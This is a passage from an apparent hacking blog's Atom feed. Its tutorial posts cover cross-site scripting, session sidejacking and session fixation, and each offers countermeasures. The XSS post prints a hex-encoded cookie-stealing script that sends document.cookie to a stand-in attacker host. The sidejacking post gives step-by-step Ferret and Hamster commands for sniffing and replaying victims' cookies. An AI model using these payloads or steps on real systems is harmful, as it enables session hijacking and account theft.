/&gt;%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64&lt;br /&gt;%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73&lt;br /&gt;%63%72%69%70%74%3E&lt;/pre&gt;&lt;br /&gt;Decoded this by HEX-ASCII converter you will find Cookie Stealing URL:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Decoded URL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 70px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;http://portal.example/index.php?sessionid=12312312&amp;amp;&lt;br /&gt;username=&amp;lt;script&amp;gt;document.location=&#39;http://attackerhost.example/cgi-bin/cookiesteal.cgi?&#39;+document.cookie&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;3. DOM Based XSS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In 2005, Amit Klein defined a third type of XSS, which he coined DOM Based or Type-0 XSS. DOM-based XSS is an advanced type of XSS attack which is made possible when the web application’s client side scripts write user provided data to the Document Object Model (DOM). The data is subsequently read from the DOM by the web application and outputted to the browser. If the data is incorrectly handled, an attacker can inject a payload, which will be stored as part of the DOM and executed when the data is read back from the DOM.&lt;br /&gt;&lt;br /&gt;The most dangerous part of DOM-based XSS is that the attack is often a client-side attack, and the attacker’s payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers analyzing the server’s logs since they will never even see the attack.&lt;br /&gt;&lt;br /&gt;Among various objects that make up the DOM, there are some objects in particular which an attacker can manipulate in order to generate the XSS condition. Such objects include the URL (document.URL), the part of the URL behind the hash (location.hash) and the Referrer (document.referrer).&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Protection :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. The primary defense mechanism to stop XSS is contextual output encoding or escaping.&lt;br /&gt;&lt;br /&gt;2. Untrusted HTML input must be run through an HTML policy engine to ensure that is does not contain XSS. Tools such as OWASP AntiSamy &lt;sup class=&quot;reference&quot; id=&quot;cite_ref-OWASP2_17-0&quot;&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-OWASP2-17&quot;&gt;&lt;/a&gt;&lt;/sup&gt;and &lt;span class=&quot;external free&quot; style=&quot;font-style: italic;&quot;&gt;http://htmlpurifier.org&lt;/span&gt; accomplish this task.&lt;br /&gt;&lt;br /&gt;3. Besides content filtering, additional security on cookie-based user authentication should be introduced.&lt;br /&gt;&lt;br /&gt;4. &lt;span style=&quot;font-weight: bold;&quot;&gt;XSS-Me&lt;/span&gt; is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS) by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;5. &lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://www.acunetix.com/cross-site-scripting/scanner.htm&quot; style=&quot;color: blue;&quot;&gt;Acunetix&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; Web Vulnerability Scanner (WVS) Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Ud7Q9MZWbzY/TuTL4L1OcdI/AAAAAAAAAmE/ggXO8nrd4pA/s1600/Acunetix_1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5684892795757556178&quot; src=&quot;https://1.bp.blogspot.com/-Ud7Q9MZWbzY/TuTL4L1OcdI/AAAAAAAAAmE/ggXO8nrd4pA/s400/Acunetix_1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 110px; margin: 0px auto 10px; text-align: center; width: 290px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/3436620577033529022/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/cross-site-scripting.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3436620577033529022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3436620577033529022'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/cross-site-scripting.html' title='CROSS-SITE SCRIPTING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/_6Y3t2XpO2oE/TP9tNv25XwI/AAAAAAAAAZg/r2uPjVTKbsg/s72-c/xss-threat3.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-4197151773043822610</id><published>2010-12-07T06:37:00.002-08:00</published><updated>2010-12-07T22:52:01.044-08:00</updated><title type='text'>SESSION SIDEJACKING</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;What is &lt;/span&gt;&lt;span style=&quot;font-weight: bold;font-family:&amp;quot;;font-size:12pt;&quot;  &gt;&lt;span style=&quot;;font-family:georgia;font-size:100%;&quot;  &gt;Sidejacking ?&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12pt;&quot;  &gt;&lt;span style=&quot;;font-family:georgia;font-size:100%;&quot;  &gt;Sidejacking is the process of sniffing cookie information, then replaying them against websites in order to clone a victim’s session. We use the term sidejacking to distinguish this technique from man-in-the-middle hijacking. Whereas man-in-the-middle hijacking interferes with the original session, sidejacking does not. The victim continues to use his session blissfully unaware that we are also in his account.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP6TzW3r9zI/AAAAAAAAAYw/pTLfr8t-4pQ/s1600/Side%2BJack%2BCafe.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 324px; height: 179px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP6TzW3r9zI/AAAAAAAAAYw/pTLfr8t-4pQ/s400/Side%2BJack%2BCafe.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548034301488789298&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;SideJacking works only if the site catches a non-SSL cookie, so any Web  site that uses SSL exclusively would be safe from SideJackers. SideJacking was first demonstrated by &lt;span style=&quot;font-weight: bold;&quot;&gt;Robert Graham&lt;/span&gt;, CEO of Errata Security at Black Hat in 2007.&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Techniques :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;All you need to do in order to sidejack is sniff cookies off the wire and edit cookies. This can be done with a wide variety of tools.&lt;br /&gt;&lt;br /&gt;1. WinPcap is the industry-standard tool for link-layer network access in Windows environments: it allows applications to capture and transmit network packets bypassing the protocol stack, and has additional useful features, including kernel-level packet filtering, a network statistics engine and support for remote packet capture.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;Download and install &lt;span style=&quot;font-weight: bold;&quot;&gt;Winpcap&lt;/span&gt; from &lt;a style=&quot;font-weight: bold; color: rgb(51, 204, 0);&quot; href=&quot;http://www.winpcap.org/install/default.htm&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;2. Graham leveraged the tools Ferret, essentially a packet sniffing tool that captures cookies and writes them to a hamster.txt file, and Hamster, basically a local proxy that creates a web front end for exploiting the cookie information captured by Ferret.&lt;br /&gt;&lt;br /&gt;Download and install &lt;span style=&quot;font-weight: bold;&quot;&gt;Ferret &amp;amp; Hamster&lt;/span&gt; from &lt;a style=&quot;font-weight: bold; color: rgb(51, 204, 0);&quot; href=&quot;http://hamster.erratasec.com/downloads/hamster-2.0.0.tar.z&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;3. Unzip      the tools into a directory such as &lt;span style=&quot;font-style: italic; color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;C:\sidejacking&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;4. Open a command prompt and change to that directory as&lt;span style=&quot;font-style: italic;&quot;&gt; &lt;span style=&quot;color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;cd c:\sidejacking&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;5. Use &lt;span style=&quot;font-style: italic; color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;ferret –W&lt;/span&gt; to figure out which interface you want to sniff.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP8hSZTS9AI/AAAAAAAAAZI/Jjf-mrymmGU/s1600/Ferret.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 206px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP8hSZTS9AI/AAAAAAAAAZI/Jjf-mrymmGU/s400/Ferret.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548189865856922626&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;6. &lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Table Normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:&quot;Times New Roman&quot;;  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;Use &lt;span style=&quot;font-style: italic; color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;ferret –i &lt;/span&gt;&lt;span style=&quot;color: rgb(0, 153, 0); font-style: italic; font-weight: bold;&quot;&gt;n&lt;/span&gt; to start sniffing cookies. Here &lt;span style=&quot;font-style: italic;&quot;&gt;n&lt;/span&gt; is the interface number.&lt;br /&gt;&lt;br /&gt;7. Now use &lt;span style=&quot;font-style: italic; color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;hamster&lt;/span&gt; in the same directory as hamster.txt to start the proxy.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP8gEfFIDbI/AAAAAAAAAZA/0998Gn7fjaA/s1600/Hamster.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 71px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP8gEfFIDbI/AAAAAAAAAZA/0998Gn7fjaA/s400/Hamster.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548188527378304434&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;8. Set up a browser to use the proxy at &lt;span style=&quot;color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;127.0.0.1:3128&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;9. In that browser, go to &lt;span style=&quot;font-style: italic; color: rgb(0, 153, 0); font-weight: bold;&quot;&gt;http://hamster&lt;/span&gt; to go to the proxy console window.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP8feio502I/AAAAAAAAAY4/2K-3JFv2A7E/s1600/Mozilla.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 214px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP8feio502I/AAAAAAAAAY4/2K-3JFv2A7E/s400/Mozilla.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548187875498644322&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;10. Select a victim, then click on a URL to sidejack it.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP8jAWOwKpI/AAAAAAAAAZQ/3ZV2Mq6998Q/s1600/gmail.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 341px; height: 196px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP8jAWOwKpI/AAAAAAAAAZQ/3ZV2Mq6998Q/s400/gmail.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548191754818169490&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Countermeasures :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Always try to stick to secured WiFi  networks that you know and trust that would not  have any strangers on it running packet sniffers.&lt;br /&gt;&lt;br /&gt;2. Never use a Wi-Fi  hotspot unless they are using VPN (virtual private networking) or SSL (secure  sockets layer) to access sensitive information.&lt;br /&gt;&lt;br /&gt;3. Graham said that Google Mail users could switch to&lt;span style=&quot;color: rgb(0, 153, 0);&quot;&gt; &lt;/span&gt;&lt;a style=&quot;color: rgb(0, 153, 0); font-weight: bold;&quot; href=&quot;https://mail.google.com/&quot; target=&quot;_blank&quot;&gt;https://mail.google.com&lt;/a&gt; and secure their session from such snooping.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TP8o3DfKMYI/AAAAAAAAAZY/Q7vnhwXfWN0/s1600/https-browser-connection-in-gmail.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 335px; height: 146px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TP8o3DfKMYI/AAAAAAAAAZY/Q7vnhwXfWN0/s400/https-browser-connection-in-gmail.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548198192237654402&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Table Normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:&quot;Times New Roman&quot;;  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/4197151773043822610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/session-sidejacking.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4197151773043822610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4197151773043822610'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/session-sidejacking.html' title='SESSION SIDEJACKING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP6TzW3r9zI/AAAAAAAAAYw/pTLfr8t-4pQ/s72-c/Side%2BJack%2BCafe.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-7109593218285299075</id><published>2010-12-07T06:37:00.001-08:00</published><updated>2010-12-07T10:26:27.319-08:00</updated><title type='text'>SESSION FIXATION</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is Session Fixation ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Session Fixation is an attack that permits an attacker to hijack a valid  user session. The attack explores a limitation in the way the web  application manages the session ID, more specifically the vulnerable web  application. When authenticating a user, it doesn’t assign a new  session ID, making it possible to use an existent session ID.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP5ehkNzg5I/AAAAAAAAAYQ/qFusqyZNMWs/s1600/hijack2.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 226px; height: 212px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP5ehkNzg5I/AAAAAAAAAYQ/qFusqyZNMWs/s400/hijack2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547975721717302162&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;The attack consists of inducing a user to authenticate himself with a  known session ID, and then hijacking the user-validated session by the  knowledge of the used session ID. The attacker has to provide a  legitimate Web application session ID and try to make the victim&#39;s  browser use it.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Attack Scenario :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Mallory has determined that &lt;code&gt;http://unsafe/&lt;/code&gt; accepts any session identifier, accepts session identifiers from query strings and has no security validation. &lt;code&gt;http://unsafe/&lt;/code&gt; is thus not secure.&lt;br /&gt;&lt;br /&gt;2. Mallory sends Alice an e-mail: &quot;Hey, check this out, there is a cool new account summary feature on our bank, &lt;code&gt;http://unsafe/?SID=I_WILL_KNOW_THE_SID&lt;/code&gt;&quot;. Mallory is trying to fixate the SID to &lt;code&gt;I_WILL_KNOW_THE_SID&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;3. Alice is interested and visits &lt;code&gt;http://unsafe/?SID=I_WILL_KNOW_THE_SID&lt;/code&gt;. The usual log-on screen pops up, and Alice logs on.&lt;br /&gt;&lt;br /&gt;4. Mallory visits &lt;code&gt;http://unsafe/?SID=I_WILL_KNOW_THE_SID&lt;/code&gt; and now has unlimited access to Alice&#39;s account.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Attack Process :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1. Session Setup:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First, the attacker either sets up a trap session on the target server and obtains that session’s ID, or selects a arbitrary session ID to be used in the attack. In some cases, the established trap session needs to be maintained by repeatedly sending requests referencing it to avoid idle session timeout.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP5hPMAcQLI/AAAAAAAAAYY/a_Y0c6EHE7U/s1600/Untitled.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 379px; height: 183px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP5hPMAcQLI/AAAAAAAAAYY/a_Y0c6EHE7U/s400/Untitled.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547978704516038834&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2. Session Fixation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next, the attacker needs to introduce her session ID to the user’s browser, thereby fixing his session.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;3. Session Entrance:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Finally, the attacker has to wait until the user logs in to the target server using the previously fixed session ID and then enter the user’s session.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Attack Example :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. First, the attacker, who in this case is also a legitimate user of the system, logs in to the server and is issued a session ID &lt;span style=&quot;font-style: italic;&quot;&gt;1234&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;2. Then he sends a hyperlink &lt;span style=&quot;font-style: italic;&quot;&gt;http://online.worldbank.dom/login.jsp?sessionid=1234&lt;/span&gt; to the user, trying to lure him into clicking on it.&lt;br /&gt;&lt;br /&gt;3. The user clicks on the link, which opens the server’s login page in his browser.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP5jRdLDrAI/AAAAAAAAAYg/_igRsngXRWk/s1600/session_fixation.JPG&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 229px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP5jRdLDrAI/AAAAAAAAAYg/_igRsngXRWk/s400/session_fixation.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547980942506961922&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;4. Upon receipt of the request for &lt;span style=&quot;font-style: italic;&quot;&gt;login.jsp?sessionid=1234&lt;/span&gt;, the web application has established.&lt;br /&gt;&lt;br /&gt;5. Finally, the user provides his credentials to the login script and the server grants him access to his bank account.&lt;br /&gt;&lt;br /&gt;6. At this point, knowing the session ID, the attacker can also access the user’s account via &lt;span style=&quot;font-style: italic;&quot;&gt;account.jsp?sessionid=1234&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Countermeasures :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Web applications must ignore any session ID provided by the user’s browser at login and must always generate a new session to which the user will log in if successfully authenticated.&lt;br /&gt;&lt;br /&gt;2. If possible, a web application on a strict system should only issue session IDs of newly generated sessions to users after they have successfully authenticated.&lt;br /&gt;&lt;br /&gt;3. Session identifiers in URL (GET or POST  variables) are not recommended as they simplify this attack. The session identifier on most modern systems is stored by default in an HTTP cookie, which has a moderate level of security. Use of the SSL/TLS session identifier is very secure.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP57req9SFI/AAAAAAAAAYo/g6pLx83tbNo/s1600/withssl.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 101px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP57req9SFI/AAAAAAAAAYo/g6pLx83tbNo/s400/withssl.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5548007777864861778&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/7109593218285299075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/session-fixation.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/7109593218285299075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/7109593218285299075'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/session-fixation.html' title='SESSION FIXATION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP5ehkNzg5I/AAAAAAAAAYQ/qFusqyZNMWs/s72-c/hijack2.jpg" height="72" width="72"/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5200024890916536055</id><published>2010-12-07T03:38:00.000-08:00</published><updated>2010-12-08T06:41:31.453-08:00</updated><title type='text'>SESSION 